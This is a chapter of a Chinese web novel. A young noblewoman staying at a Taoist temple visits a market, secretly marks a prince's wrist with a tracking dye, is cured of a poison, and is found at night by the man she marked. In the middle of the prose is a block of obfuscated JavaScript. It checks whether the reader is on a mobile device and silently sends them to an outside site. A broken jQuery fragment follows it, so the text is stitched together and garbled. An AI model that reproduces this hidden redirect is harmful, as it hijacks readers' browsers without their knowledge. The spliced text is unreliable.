15. 第 15 章

作品:《真千金替嫁守寡日常

    山中岁月祥和稳定,如波澜不惊的江水。


    季觉卿每日跟着两位道姑做做早课晚课,其余时间多是在读书或抄经。


    纪念康和戚漠每日都陪着她在这小小的道观里。


    恰逢这天山下有集会,道观中的姑子们要去卖菜换些银钱,特地来问几人是否要一同前往。


    纪念康从来不是一个安静的性子,只几日便觉得太过枯燥,如今有合适的借口自然要拉着季觉卿下山去。


    季觉卿心中想着自己的“阴谋诡计”,没推脱,回屋拿上帷帽。


    纪念康好奇,“三妹,你拿这干什么,怕晒黑吗?这大热的天,帷帽不透气,还不如打伞来得好。”


    季觉卿看了他一眼,“府中丫鬟跟我说,世家小姐们出门必须带着帷帽遮挡面容才是规矩。”


    “这是哪家的规矩,我怎么没听说过,哪个丫头这么捉弄主子,你跟哥说,哥给你撑腰。”说着纪念康就从她手中抽出帷帽扔给封刀。


    “咱不带了,走,出去玩喽。”


    拉着季觉卿就朝山下跑,戚漠在后面看着二人轻笑一声,缓步跟上。


    ·


    集市上各色的叫卖声入耳,纪念康从小就长在富贵窝里,看什么都带着一种新鲜,什么都要买一点。


    封刀手里杂七杂八东西一堆。


    纪念康远远看到一个小摊子摆着许多木簪子和木质小玩具。


    低头喊身边的季觉卿:“三妹妹在这儿等我一会,哥哥去给你买点小玩意。”


    封刀跟了上去,只留下季觉卿和戚漠二人。


    季绝清看到一个药铺,想着如何脱身一人去买硝石与硫磺。


    她对戚漠说:“莫公子,我有些累了,不如一起去茶铺子歇歇脚。”


    茶铺不远,几步就到。


    茶博士上了一壶茶,被季觉卿挥手退下。


    她自顾自的斟了茶,站起身:“多谢莫公子送我的猫,我还在为老夫人祈福,便以茶代酒……”


    腿却突然一阵抽搐,如过电一般闪过剧烈疼痛。


    季觉卿脚下一软,手中温热的茶水倾泻而出,落在戚漠单薄的玄色窄袖圆领袍的袖口处。


    她伸手替戚漠捋起袖子:“茶博士,取些冷水来。”


    用冷水给戚漠冲过患处。


    季觉卿忍痛快跑着去药铺子买了些烫伤膏药来。


    脸上满是歉意的给戚漠涂抹药膏,递出丝帕给他垫着,不让衣袖粘了药。


    无人注意到戚漠手腕侧面视觉死角处被点了一颗粉色小点。


    ————


    猫这种生物总会找一些犄角旮旯,不再视线时,季觉卿便会去寻它,偶然间发现一间药屋。


    药柜子里放着众多稀奇古怪的东西,其中有些许保存得当的硝石和硫磺,她还发现了月姬子。


    月姬子单看来平平无奇,但若与几样东西混合,再搭配可染色之物,能做出至少半月不褪的追踪记。


    季觉卿便是用那支紫薇做了个小颗粒的标记物。


    本想着等唤面具男子来时用在他身上,谁知竟然先用在了戚漠身上。


    机不可失,季觉卿趁着递帕子包扎的功夫点了那颗粉痣。


    ————


    纪念康一回来就看到自家三妹给戚漠用手帕垫着手腕,托举着。戚漠手腕上涂抹着黑乎乎的药膏,他扣扣脸:“你们这是……”


    季觉卿:“我不小心用茶水烫伤了莫公子,方才抹了药,不好让衣袖垂下碰到伤处,这才……”


    纪念康大吃一惊:三妹妹不知道,他又不是不知道,漠哥可是当今膝下唯一的男嗣,这要是被皇后娘娘知道了不得闹个惊天动地。


    “严不严重,要不漠哥你先带人回城去看看吧。”


    戚漠明白纪念康话中意思,不过只是烫一下,红了点皮:“无碍,只是烫红了些,已用冷水冲洗过了。”


    因着戚漠受了伤,季觉卿也有些不适,且临近中午,一行人没回山上而是去了庄子。


    朱绣几日没见三小姐,正想着寻个时侯去山上看望一下。


    夫人让她好好照顾三小姐,还承诺等三小姐出嫁了,便给了她身契,放她出府和家里人团聚去。


    朱绣感恩侯夫人的慈悲,自是对季觉卿事事上心。


    她给刚做的一件对襟褙子绣花样子,打算让姑娘家常穿,门外传来庄头娘子的声音:“朱绣姑娘,三小姐回来了,好像不太舒服的样子,你快去看看吧。”


    慌张之下,针扎破她的指尖流出一滴血珠。


    朱绣将手放进嘴中含吮,“哎,我这就去。”


    朱绣撵着急切的步子迎到门口,发现原来不是只三小姐独自一人下山来了,悬到嗓子的心这才放回肚子里。


    给几位主子团团行礼后,才跟着季觉卿回了院子。


    季觉卿虽不在山下住,但朱绣每日都细细打扫房间,因此一丝尘味都没有,朱绣还在屋中摆了芙蓉盆,一丝清淡的荷香蔓延在屋内。


    “我听庄头娘子说,小姐身子不适……”


    季觉卿扬言:“无事,只是腿上有些痉挛之症。”


    朱绣细细打量季觉卿,发觉她长高不少:“是了,是了,姑娘还是成长之时,如今气血补足,身量长高,必是会有这些症状。庄子上到底物资匮乏,不如城中齐全,待会奴婢边去寻庄头找只母羊来,今后奴婢每日送些鲜羊乳上山,只是委屈了姑娘。”


    朱绣给季觉卿揉捏了好一会,有去取热水巾帕热敷,酸痛感终于消失。


    那边庄头请了大夫,在纪念康的强烈要求下给戚漠那红痕都消散的“伤患处”重新上药包扎。


    久等妹妹不来,便让戚漠自行用膳,他要去看看他三妹妹。


    “妹妹,你怎么样,还疼吗?你可真是个小倒霉蛋,三天两头就有点伤病,等回去了,我带你去福庆寺拜拜药王菩萨,求菩萨保佑你少灾少难,健健康康的。”


    他身后跟着的戚漠无奈地很,“念康,你是不打算上山去了是吧。”


    纪念康这才反应过来,拍拍自己的嘴,朝四方拜拜:“小子童言无忌,三清老爷莫怪莫怪。”


    季觉卿看着纪念康滑稽的动作,脸上带着笑,眼中不自觉的弥漫着水雾,忍了忍,将泪忍了下去。


    “三哥,回观中后,我陪你一起去给三清老爷、斗姆星君、诸殿神仙们上柱清香赔罪。”


    戚漠破坏了两兄妹之间的默默温情:“妹妹具体是什么症候,也好让观中医师按症改方。”


    “不用不用,生长痛,这段时间膳食好,我长高了,有些症状很正常的。朱绣说让庄头找只羊妈妈养在山下,她每日上山送羊乳。我私以为太麻烦了,到时候直接带到山上去,劳烦两位道姑帮忙照顾就行。”季觉卿对经朱绣手的食物还是抱有提防心。


    “生长痛…”纪念康听到不熟悉的词,不由低声疑惑重复一遍,复而听到季觉卿后面的话。


    暗想,还真是形象生动,不愧是我妹子,就是聪明。


    ·


    羊铃声声回荡在幽长的山径上。


    季觉卿怀中抱着雪白如一团云朵的小羊羔。


    羊妈妈跟在身后,啃口路边的草,走两步去看看它的崽,再走两步去够垂落的树叶。


    余阳斜晖穿过枝叶,印落在季觉卿的头上身上,像给她披了一层波光粼粼的纱。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989845|193320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纪念康和戚漠二人走的快,站在高处等季觉卿跟上。


    看到这一幕,纪念康眼含赞叹:“我妹妹可真好看,以后不知道便宜了哪家小子。”


    戚漠:“纪妹妹还小,不着急找。”


    纪念康:“也是,等祭奠完回去也才过十四岁生日,不过也该查查同龄的小子,不干净的可不能要。等我去投军,可就没工夫看着他们了。”


    戚漠看了纪念康一眼:“你娘同意了?”


    “同意了,我磨了这几年。她老人家本来还说明年给我定门亲事,但又怕我跑了坑了人家好好的姑娘家……等我回来了,我自会寻个好姑娘,到时候功绩在手,也不怕人家长辈不同意。”


    戚漠定定地,许久才嗯了一声。


    “话说回来,漠哥,戚一什么时侯回来,她被你排出去干活好像挺久的了。我三妹回去的时侯能回赶上不,要是不行,我就直接带我家去。我都想好了,到时候把小春儿旁边那个院安置给三妹,打不了我就挨一顿骂。”


    “别催,快回来了,能赶上。”


    两人交谈间,季觉卿终于追了上来,呼呼喘气。


    纪念康伸手抱过小羊,“你自己个都走不动,还偏要抱着个它。”


    季觉卿笑着道:“总不好因我让它们母子分离。”


    有了羊乳补身,还有桃娘每日晚间都给季觉卿按摩,生长痛虽时有出现但也只是在晚间。


    这日晚间,桃娘端上汤药,给季觉卿诊脉:“这是最后一碗药了,从今日起,姑娘身上的催息便可解了。”


    季觉卿感叹:“十日而已,如此之快,桃娘医术精湛。”


    说着跪下对桃娘一拜:“多谢桃娘救我一命,大恩大德永世难忘。”


    桃娘赶忙将季觉卿扶起,摁在椅子上:“快快请起,明日我便要下山而去,我最后有几句话嘱咐你。”


    季觉卿濡慕的看着眼前的救命恩人。


    “首先,等你回城之日,我徒儿桃桃会在南城门装做乞儿拦车乞讨,你将她过个明路留在你身边。”


    “此外,固安侯府是个虎狼窝,我知道你不喜赵柳,但她绝对是个可信之人,我知道你近些日子在做些危险的东西,赵柳也在帮你做隐瞒,带着她,只当让她尽最后一份对孟平川的忠心。她已经在孟平川的牌位前立过誓言,绝不会对你做的决定再加干涉。”


    一番殷殷嘱托,桃娘递出把柄短钥匙,“收下吧,这是孟平川该你的,不管之后你想做什么,这笔钱财都能让你活得痛快。”


    身上的毒解了,季觉卿心中的大石头终于落地。


    其他再多的事都可以放到明天去思量。


    她吹灭灯盏,早早爬上柔软的床铺,陷入黑甜的美梦。


    幽幽的眼睛一眨不眨地看着睡的香甜的少女,白纱蚊帐虚掩着姣好的面容,一截藕臂搭在衾被上,床榻尾部一抹鎏金映入眼帘——


    是这么多天还没被取名字的那只豹猫。


    戚漠向前走了几步,撑腿坐在床前的踏几上,暗想,没用的家伙,连个名字都得不到。


    伸手弹了一下女孩的额头,没良心的,连个名字都不给。


    微痛唤醒了季觉卿,少女脸上还带着氤氲睡意。


    迷蒙的睁开眼,季觉卿猛的看见眼前黑乎乎的人头,条件反射揍出一拳。


    男人闷哼一声,“小姑娘年纪不大,够心狠手辣的。”


    “你这样的登徒子,杀了都不为过。”被吓了一跳的季觉卿压低声音,“你来干什么,我没留暗记。”


    “怎么没留,这不就是三小姐给我留的标记。”戚漠演都不演,直愣愣的伸出点着粉痣的手腕。